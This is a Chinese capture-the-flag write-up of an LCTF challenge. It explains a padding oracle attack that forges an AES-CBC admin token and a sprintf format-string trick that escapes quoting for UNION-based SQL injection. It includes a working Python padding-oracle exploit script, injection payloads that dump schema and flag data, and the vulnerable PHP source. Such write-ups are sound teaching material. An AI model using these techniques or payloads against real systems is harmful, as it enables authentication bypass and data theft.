WriteUp分享 | LCTF的一道padding oracle攻击+sprintf格式化字符串导致的SQL注入

0x00题目

http://111.231.111.54/ 泄露了两个源码 .login.php.swp .admin.php.swp 源码丢在最下面,可用vim -r恢复

第一次接触padding oracle,这题能做出来,真的是要感谢我的朋友Pr0ph3t给我的指点

结合这道题,讲解一下padding oracle的攻击方式

0x01步骤

题目大概是这样的逻辑:

函数一:get_identity()

只有当你以一个账号密码成功登陆后,才会进入get_identity(),此时会生成一个随机的token,然后采用aes-128-cbc的加密方式,用这个随机生成的token和密钥,循环加密生成一个$id,如果生成的$id=admin,那你就有session['isadmin'],所以用随机token,加密得到admin这个id的概率是非常小的,所以基本上所有用账号密码的用户登陆都是guest

那管理员怎么登陆呢?对了,他不用账号密码,用一个特定的token来登陆,就是下面的函数 test_identity()

管理员直接传个特定的token,然后就会被后端的密钥解密,一解密得到的 id 就是admin,就认证成功了。

这个特定的token其实很容易得到,直接用密钥和admin这个id,解密即可生成

但是如果我们不知道密钥,那就需要用padding oracle攻击,来得到这个管理员特定的token,详细的原理可参考以下链接 http://f1sh.site/2017/08/04/%E5%88%9D%E5%AD%A6padding-oracle-attack/ http://www.jianshu.com/p/ad8bdd87e131

这里只讲解攻击方式和大致原理:

  • 不断用admin和admin去登陆,得到很多token,记住这里的admin,admin不是管理员,可以把它认为是一个很普通的账号,真正的管理员是用token登陆的,这个逻辑当时纳闷了我好久。。。。
  • 用登陆得到的很多token,模仿管理员直接用这些token去访问admin.php,那么就会进入test_identity()函数,进行解密操作,这时候的解密,其实就是将middle和IV(token) 逐位异或,如果能符合padding规则,就会生成一个明文,然后拿这个明文hex解码看看是不是admin这个id,是的话就认证成功,不是的话就认证失败
  • 所以,如果padding失败,服务器就会返回500错误和error!,原因是这个解密函数解密出错,我们不断获取token去进行padding oracle攻击,直到后端可以正常解密出一个明文,并且不会报错,即使它不是admin,这时候我们就能得到middle的值
  • 我们拿middle,去和admin这个id异或,就生成了admin的token!!!
  • 或者我们可以随便拿一个admin,admin登陆获得的旧token,然后和middle异或,得到它的明文(id),然后 旧token ^ 旧id ^ admin(新id) = 新IV (admin的token) 数学推导如下

其实这也就是CBC翻转的原理,有时候你知道你的token和解密后对应的明文id,你就能把这两个与admin这个id 三者异或,就能得到admin的token,可参考该文章http://www.jianshu.com/p/7f171477a603

  • Padding Oracle Attack的关键在于:
  1. 攻击者能够获知并修改IV
  2. 攻击者能够获知解密的结果是否符合padding,如服务器是否报错
  • 至此废话完了,一口气敲完的,若写错了请指正,Orz

献上脚本,修改自http://blog.csdn.net/qq_19876131/article/details/61918399

#coding:utf8
import requests
import base64


url='http://111.231.111.54/login.php'
N=16
old_token = 'eHNkaHkxSkxQbEplanFKbQ=='


def inject_token(token):
    header={"Cookie":"PHPSESSID=qv6iuvrs0bh3g3c0688ss2cb86;token="+token}
    print header
    result=requests.get(url,headers=header)
    return result
def xor(a, b):
    return "".join([chr(ord(a[i])^ord(b[i%len(b)])) for i in xrange(len(a))])


def pad(string,N):
    l=len(string)
    if l!=N:
        return string+chr(N-l)*(N-l)


def padding_oracle(N):
    get=""
    for i in xrange(1,N+1):
        for j in xrange(0,256):
            padding=xor(get,chr(i)*(i-1))
            c=chr(0)*(16-i)+chr(j)+padding
            result=inject_token(base64.b64encode(c))
            print result.content
            if "Error!" not in result.content:
                get=chr(j^i)+get
                break


    return get


while 1:
    middle1=padding_oracle(N)
    print "\n"
    if(len(middle1)+1==16):
        for i in xrange(0,256):
            middle=chr(i)+middle1
            print "token:"+old_token
            print "middle:"+middle
            plaintext=xor(middle,old_token);
            print "plaintext:"+plaintext
            des=pad('admin',N)
            tmp=""
            print des.encode("base64")
            for i in xrange(16):
                tmp+=chr(ord(old_token[i])^ord(plaintext[i])^ord(des[i]))
            print tmp.encode('base64')
            result=inject_token(base64.b64encode(tmp))
            if "admin" in result.content:
                print result.content
                print "success"
                exit()

成功以管理员身份,登陆admin.php,并可以传入参数id和title

乍看这两个参数都是做了预处理,再带入sql语句查询 但是看到sprintf(),是一个格式化字符串函数,传入的字符可覆盖自身参数

可参考文章 https://paper.seebug.org/386/ http://www.cnblogs.com/test404/p/7821884.html https://www.seceye.cn/1291.html

当我们传入 id=3&title=%1$ 'or(1)#

这时候,因为后端将 '转译成 \' 形成id=3&title=%1$ \'or(1)#

由于sprintf()的作用,会吞掉$后面的两个字节,也就是 空格和\,导致单引号逃逸成功,不会被转译

所以这里就能成功注入了,而且可以union注入,记得对payload进行url编码,毕竟太多乱七八糟的符号

给出相关payload(未url编码)和截图

id=3&title=%1$ 'union select 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version(),@@hostname,@@datadir)#
id=3&title=%1$ 'union select 1,2,group_concat(distinct(table_name)) from information_schema.tables where table_schema=0x77656231#
id=3&title=%1$ 'union select 1,2,group_concat(distinct(column_name))  from information_schema.columns where table_name=0x6b6579 and table_schema=0x77656231#
id=3&title=%1$ 'union select 1,2,group_concat(distinct(f14g)) from web1.key#

0x02后端源码

login.php

<?php
error_reporting(0);
session_start();
define("METHOD", "aes-128-cbc");
include('config.php');
function show_page(){
    echo '省略';
}
function get_random_token(){
    $random_token = '';
    $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
    for($i = 0; $i < 16; $i++){
        $random_token .= substr($str, rand(1, 61), 1);
    }
    return $random_token;
}
function get_identity(){
    global $id;
    $token = get_random_token();
    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
    $_SESSION['id'] = base64_encode($c);
    setcookie("token", base64_encode($token));
    if($id === 'admin'){
        $_SESSION['isadmin'] = 1;
    }else{
        $_SESSION['isadmin'] = 0;
    }
}
function test_identity(){
    if (isset($_SESSION['id'])) {
        $c = base64_decode($_SESSION['id']);
        $token = base64_decode($_COOKIE["token"]);
        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){
            if ($u === 'admin') {
                $_SESSION['isadmin'] = 1;
                return 1;
            }
        }else{
            die("Error!");
        }
    }
    return 0;
}
if(isset($_POST['username'])&&isset($_POST['password'])){
    $username = mysql_real_escape_string($_POST['username']);
    $password = $_POST['password'];
    $result = mysql_query("select password from users where username='" . $username . "'", $con);
    $row = mysql_fetch_array($result);
    if($row['password'] === md5($password)){
        get_identity();
        header('location: ./admin.php');
    }else{
        die('Login failed.');
    }
}else{
    if(test_identity()){
        header('location: ./admin.php');
    }else{
        show_page();
    }
}
?>

admin.php

<?php
error_reporting(0);
session_start();
include('config.php');
if(!$_SESSION['isadmin']){
    die('You are not admin');
}
if(isset($_GET['id'])){
    $id = mysql_real_escape_string($_GET['id']);
    if(isset($_GET['title'])){
        $title = mysql_real_escape_string($_GET['title']);
        $title = sprintf("AND title='%s'", $title);
    }else{
        $title = '';
    }
    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
    $result = mysql_query($sql,$con);
    $row = mysql_fetch_array($result);
    if(isset($row['title'])&&isset($row['content'])){
        echo "<h1>".$row['title']."</h1><br>".$row['content'];
        die();
    }else{
        die("This article does not exist.");
    }
}
?>

走过路过,欢迎纠错~

原文发布于微信公众号 - 安恒网络空间安全讲武堂(gh_fa1e45032807)

原文发表时间:2017-11-23

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Albert陈凯

2018-10-31 代码中的敏感信息加密方案

https://juejin.im/post/5bd79dc4f265da0acb13df0d

18440
来自专栏PHP在线

JSON Web Token - 在Web应用间安全地传递信息

JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。 让我们来假想一下一个场景。在A用户...

39360
来自专栏七夜安全博客

你不知道的 HTTPS中间人攻击

研究生毕业了,好好给自己放了个假期,休息了两周,文章博客都没有更新。从大学开始基本上没过暑假,匆匆忙忙的。再过两天,就要去腾讯工作了,做了自己喜欢的网络安全,重...

11730
来自专栏QQ音乐技术团队的专栏

分析 Android V2 新签名打包机制

本文实现了一种在 apk 的签名块中写入信息,读取信息,删除信息还原 apk 等功能,验证了在签名块中写入信息可以通过 v2 检验的例子。

2.7K10
来自专栏叔叔的博客

SpringCloud config配置文件加密

? 一、前言 配置文件中,有些敏感数据需要加密处理。 SpringCloud config server可以结合jce实现这个功能。 二、配置 下载jce ...

42060
来自专栏Java架构沉思录

如何使用JWT向服务器证明你就是你

原文地址:http://blog.leapoahead.com/2015/09/06/understanding-jwt/

13640
来自专栏网络

突破封闭 Web 系统的技巧之正面冲锋

在互联网安全服务公司乙方工作的人或者进行 SRC 众测等相关渗透测试时,经常碰到客户只给一个 "xxx信息管理系统"、"xxx平台"之类的一个 Web 登录界面...

278100
来自专栏七夜安全博客

Python3实现ICMP远控后门(下)之“Boss”出场

15030
来自专栏会跳舞的机器人

记一次系统密码安全事故以及修改方案

运营人员反馈在晚上十一点多收到系统后台登录的短信验证码,第二天在后台的操作日志中发现自已的账号有被登录过后台系统,但实际上自已并没有登录操作,怀疑账号被他人恶意...

17420
来自专栏七夜安全博客

你不知道的 HTTPS中间人攻击

研究生毕业了,好好给自己放了个假期,休息了两周,文章博客都没有更新。从大学开始基本上没过暑假,匆匆忙忙的。再过两天,就要去腾讯工作了,做了自己喜欢的网络安全,重...

18330

扫码关注云+社区

领取腾讯云代金券